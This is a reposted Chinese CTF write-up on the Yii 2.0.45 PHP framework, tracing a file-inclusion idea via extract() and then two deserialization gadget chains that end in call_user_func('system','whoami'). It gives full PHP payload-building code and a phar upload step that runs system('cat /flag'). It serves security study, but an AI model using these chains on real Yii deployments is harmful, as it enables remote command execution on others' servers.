0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

聊聊PHP的web应用程序开发框架存在的漏洞有哪些

jf_vLt34KHi 来源:Tide安全团队 作者:天下兵马大都督 2022-11-16 10:37 次阅读

概述

简单说下Yii 是一个高性能PHP的web 应用程序开发框架。通过一个简单的命令行工具 yiic 可以快速创建一个 web 应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。

小伙伴ctf比赛时,遇见了这个框架,把题型发来,既然是代码审计,这个附件应该就是源码,把这个下载下来,看看里面有啥吧。

下面附两张图:

3ab96eec-64cb-11ed-8abf-dac502259ad0.png

3af6954c-64cb-11ed-8abf-dac502259ad0.png

接下来就聊聊这个框架存在的漏洞有哪些,稍稍做个总结。

文件包含

3b1247d8-64cb-11ed-8abf-dac502259ad0.png

当小白看到文件上传的功能时,而且没有限制文件类型的逻辑,便想到了这个框架可能存在文件包含的漏洞,因为上传的路径是/tmp的路径,不在web目录下。

如果想利用必须要通过文件包含、或者目录穿越的漏洞。

从过源代码的分析,文件目录是这么定义的。

if(Yii::$app->request->isPost){
$model->file=UploadedFile::getInstance($model,'file');

if($model->file&&$model->validate()){
$path='/tmp/'.$model->file->baseName.'.'.$model->file->extension;
$model->file->saveAs($path);
return$path;
}else{
returnjson_encode($model->errors);
}
}

当baseName和extension不能通过改变请求包控制时,所以文件穿越不存在,只能文件包含了,随百度之。在源代码里有这么一段代码:

publicfunctionrenderPhpFile($_file_,$_params_=[])
{
$_obInitialLevel_=ob_get_level();
ob_start();
ob_implicit_flush(false);
extract($_params_,EXTR_OVERWRITE);
try{
require$_file_;

extract是将数组解析成变量的一个函数,通过构建_file_的变量值,来包含tmp下的文件,这是小白当时做题时的思路。

构建方式是在控制器里有一个接受外界参数的变量,如下所示data

publicfunctionactionIndex()
{
$data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];
return$this->render('index',$data);
}

访问后的结果如下:

3b213626-64cb-11ed-8abf-dac502259ad0.png

证明确实存在,小白按照代码的规则进行项目的整体查阅,只找到类似这种结构的代码段

$model->password='';
return$this->render('login',[
'model'=>$model,
]);

这种model的参数,构建不出来file变量名,而且这是一个对象的形式。

后来想破坏对象的结构,构建数组,花费一个多小时无果,寻找另外个入口。至此证明yii存在变量覆盖,文件包含的漏洞。

gii 出场【phar反序列化】

当所有代码段都不满足构建条件的时候,便有了这个gii哥们的想法,它是一个自动给开发者构建模块、数据、控制器简单逻辑的工具,或者说脚手架,验证开启方式:全局搜索gii.

3bae2c02-64cb-11ed-8abf-dac502259ad0.png

访问方式:r=gii,如下图所示:

3cca223a-64cb-11ed-8abf-dac502259ad0.png

然后构建我们自己的控制器,点击控制器生成下的start。在表单里随便填下控制器名称,点击预览,

3d516eb6-64cb-11ed-8abf-dac502259ad0.png

生的的代码如下:

3d6a2794-64cb-11ed-8abf-dac502259ad0.png

看到并没有把render的第二个参数给传递过去,至此文件包含的思路彻底放弃。既然都聊到这了,那就索性看这个gii有什么漏洞,谷歌百度一下,

yii反序列化【payload是自己构建、不同于找已存在漏洞】

查一下现在系统的版本号:2.0.45 This is Yii version 2.0.45.

链一

vendor/yiisoft/yii2/db/BatchQueryResult.php

php
publicfunction__destruct()
{
//makesurecursorisclosed
$this->reset();
}

publicfunctionreset()
{
if($this->_dataReader!==null){
$this->_dataReader->close();
}
$this->_dataReader=null;
$this->_batch=null;
$this->_value=null;
$this->_key=null;
$this->trigger(self::EVENT_RESET);
}

所以这个$this->_dataReader是可控的,那么close方法,这里就有两个思路,第一个是存在close方法,寻找利用点,第二个不存在,调用call方法的利用点,先看第二个的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。

publicfunction__call($method,$attributes)
{
return$this->format($method,$attributes);
}

publicfunctionformat($format,$arguments=[])
{
returncall_user_func_array($this->getFormatter($format),$arguments);
}

publicfunctiongetFormatter($format)
{
if(isset($this->formatters[$format])){
return$this->formatters[$format];
}

这个类的$this->formatters也是可控的。当调用close的方法,便调用了call方法,此时close的方法名,便作为call的第一个参数被传递进来,也就是method是close。

此时构建payload【payload输出有特殊字符,需要在console的控制台复制】

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}
namespace{
$a=newFakerGenerator(array('close'=>'phpinfo'));
$b=newyiidbBatchQueryResult($a);
print(serialize($b));
}

此时的payload在这个ctf给定的压缩代码里是不能执行的。因为这个版本大于2.0.37。到这里找一下为什么不能执行,查阅文档得知。这两个类都实现了wakeup的方法,

//BatchQueryResult.php【只要序列化这个类,就报错】
publicfunction__wakeup()
{
thrownewBadMethodCallException('Cannotunserialize'.__CLASS__);
}

//Generator.php【只要序列化这个类,formatters的内容就置空】
publicfunction__wakeup()
{
$this->formatters=[];
}

当注释掉这两个方法的时候,就可以实现返回值了。注意目前调用的函数没有传递参数,只能掉phpinfo这类的函数,输出是字符串类型的。结果如下:

3d953c18-64cb-11ed-8abf-dac502259ad0.png

补充:正则匹配call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)。

链二

研究完了call的方法,现在看看close的方法。当全局搜索close方法的时候,找到vendoryiisoftyii2webDbSession.php。

publicfunctionclose()
{
if($this->getIsActive()){
//preparewriteCallbackfieldsbeforesessioncloses
$this->fields=$this->composeFields();
YII_DEBUG?session_write_close():@session_write_close();
}
}

/**
*@returnboolwhetherthesessionhasstarted
*开启dug,在这个版本下,此函数验证为true,小于2.0.38不需要开启debug
*/
publicfunctiongetIsActive()
{
returnsession_status()===PHP_SESSION_ACTIVE;
}

protectedfunctioncomposeFields($id=null,$data=null)
{
$fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[];
if($id!==null){
$fields['id']=$id;
}
if($data!==null){
$fields['data']=$data;
}
return$fields;
}

call_user_func方法如果$this->writeCallback为字符串,就是方法名,如果是数组,就是类名和方法。

所以为了解决给方法传递参数的缺陷,这里再去调用另一个类的方法,这个方法可以是可以传递参数进去的。使用链一的方法备注正则搜索。调用的文件代码如下:

//vendor/yiisoft/yii2/rest/CreateAction.php
publicfunctionrun()
{
if($this->checkAccess){
call_user_func($this->checkAccess,$this->id);
}
//$this->checkAccess和$this->id都是我们可控的

构建payload

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}

namespaceyiirest{
classCreateAction{
public$checkAccess;
public$id;
publicfunction__construct($checkAccess,$id){
$this->checkAccess=$checkAccess;
$this->id=$id;
}
}
}

namespaceyiiweb{
classDbSession{
public$writeCallback;
publicfunction__construct($writeCallback){
$this->writeCallback=$writeCallback;
}
}
}

namespace{
//$a=newFakerGenerator(array('close'=>'phpinfo'));
//$b=newyiidbBatchQueryResult($a);
//print(serialize($b));
$c=newyii
estCreateAction('system','whoami');
$b=newyiiwebDbSession(array($c,'run'));
$a=newyiidbBatchQueryResult($b);
print(serialize($a));
}

3dbce718-64cb-11ed-8abf-dac502259ad0.png

跳转gii

通过前台上传功能,上传

3decf7aa-64cb-11ed-8abf-dac502259ad0.png

这个文件,然后返回上传路径:

3e77484c-64cb-11ed-8abf-dac502259ad0.png

gii控制器生成页抓取数据包

3e974a7a-64cb-11ed-8abf-dac502259ad0.png

在后面增加cmd=system('cat /flag'),因为在phar.jpg中有这个一个执行代码

3ed0a87e-64cb-11ed-8abf-dac502259ad0.png

即可拿到flag。






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 控制器
    +关注

    关注

    112

    文章

    16332

    浏览量

    177800
  • PHP
    PHP
    +关注

    关注

    0

    文章

    452

    浏览量

    26676

原文标题:yii && gii ctf篇

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    Web框架使用哪些编程语言?

    实现js在服务器端的编译,而且拥有更好的组织代码,提升复用性,非常适合在分布式设备上运行数据密集型的实时应用。2. PHPPHP是Web架构开发常用语言,PHP开发了很多
    发表于 03-28 16:53

    主流web前端技术框架

    Web架构是为解决Web开发中开放性问题而设计的具有一定约束性的支撑结构,使用框架可以帮助快速实现Web
    发表于 03-28 16:56

    Struts In Action使用领先的Java框架构建Web应用

    欢迎你阅读《Struts In Action》。本书的目的是帮助Web应用开发者能够最好的使用Struts web应用框架。 Struts是一个开源软件,有助于
    发表于 04-14 20:17 34次下载

    高性能PHP应用开发

    国外书籍,图灵程序设计丛书。本书是一本广受好评的PHP性能优化方面的图书,通过介绍PHP的原理和相关工具集来实现调优性能的目的。它分析和研究了web
    发表于 03-31 10:14 2次下载

    基于Scrapy的爬虫框架Web应用程序漏洞检测方法

    不断提高和完善防御的方法和手段。针对此问题,提出了一种基于Scrapy的爬虫框架Web应用程序漏洞检测方法。通过框架提供的便利条件对页面进
    发表于 12-07 09:48 2次下载
    基于Scrapy的爬虫<b class='flag-5'>框架</b>的<b class='flag-5'>Web</b><b class='flag-5'>应用程序</b><b class='flag-5'>漏洞</b>检测方法

    C语言-Web应用程序

    。 1996年,Microsoft公司推出了功能强大的服务器端脚本编程环境ASP,2001年版本更新为ASP3.0。ASP.NET虽然是ASP3.0的延续,但它是一种完全不同的网页开发手段。它建立在.NET平台上,在基于公共语言运行库(CLR)的编程框架的服务器上可以生成
    发表于 04-23 11:19 12次下载

    Web开发常见的十大顶级Nodejs框架

    巨大的JavaScript社区很快意识到在客户端和服务器端脚本中使用相同语言的优势,Node.js已成为Web开发的流行环境。但是,完美没有限制,开发人员已经为Node.js开发创建了
    的头像 发表于 12-09 11:28 2.2w次阅读

    PHP的CI框架分页使用程序资料免费下载

    本文档的主要内容详细介绍的是PHP的CI框架分页使用程序资料免费下载。
    发表于 02-22 14:25 5次下载
    <b class='flag-5'>PHP</b>的CI<b class='flag-5'>框架</b>分页使用<b class='flag-5'>程序</b>资料免费下载

    现在流行的Web APP开发框架有哪些

    Web APP框架开发旨在支持开发人员使用单一编程语言构建交互式应用程序。市场上推出了一系列框架
    的头像 发表于 12-29 09:50 1.2w次阅读

    Web应用安全防护容易犯错的十大误区

    Web应用框架和模块库已彻底改变了Web应用系统的开发方式,提供了构建生产级站点和应用程序的基础,会大大节约应用
    的头像 发表于 11-21 12:28 771次阅读

    php的特点哪些

    PHP是一种通用的脚本语言,特点丰富多样。 PHP是一种开源的服务器端脚本语言,主要用于开发Web应用程序。它可以嵌入HTML代码中,也可以
    的头像 发表于 12-04 15:50 1551次阅读

    php的适用范围

    PHP是一种通用的脚本语言,特别适用于Web开发。它可以用来开发动态网页、网站和Web应用程序
    的头像 发表于 12-04 15:54 523次阅读

    web前端开发和前端开发的区别

    、CSS和JavaScript等技术来构建用户界面,实现用户与应用程序的交互。Web前端开发包括网页设计、网页编码、前端框架使用以及优化页面性能等任务。 前端
    的头像 发表于 01-18 09:54 3495次阅读

    AWTK-WEB 快速入门(1) - C 语言应用程序

    导读AWTK可以使用相同的技术栈开发各种平台的应用程序。有时我们需要使用Web界面与设备进行交互,本文介绍一下如何使用C语言开发AWTK-WEB
    的头像 发表于 11-27 11:46 184次阅读
    AWTK-<b class='flag-5'>WEB</b> 快速入门(1) - C 语言<b class='flag-5'>应用程序</b>

    SSM框架在Java开发中的应用 如何使用SSM进行web开发

    (full-stack)的应用程序框架,它提供了全面的基础设施建设支持,能够帮助开发者构建出企业级的应用程序。Spring的核心是控制反转(I
    的头像 发表于 12-16 17:28 393次阅读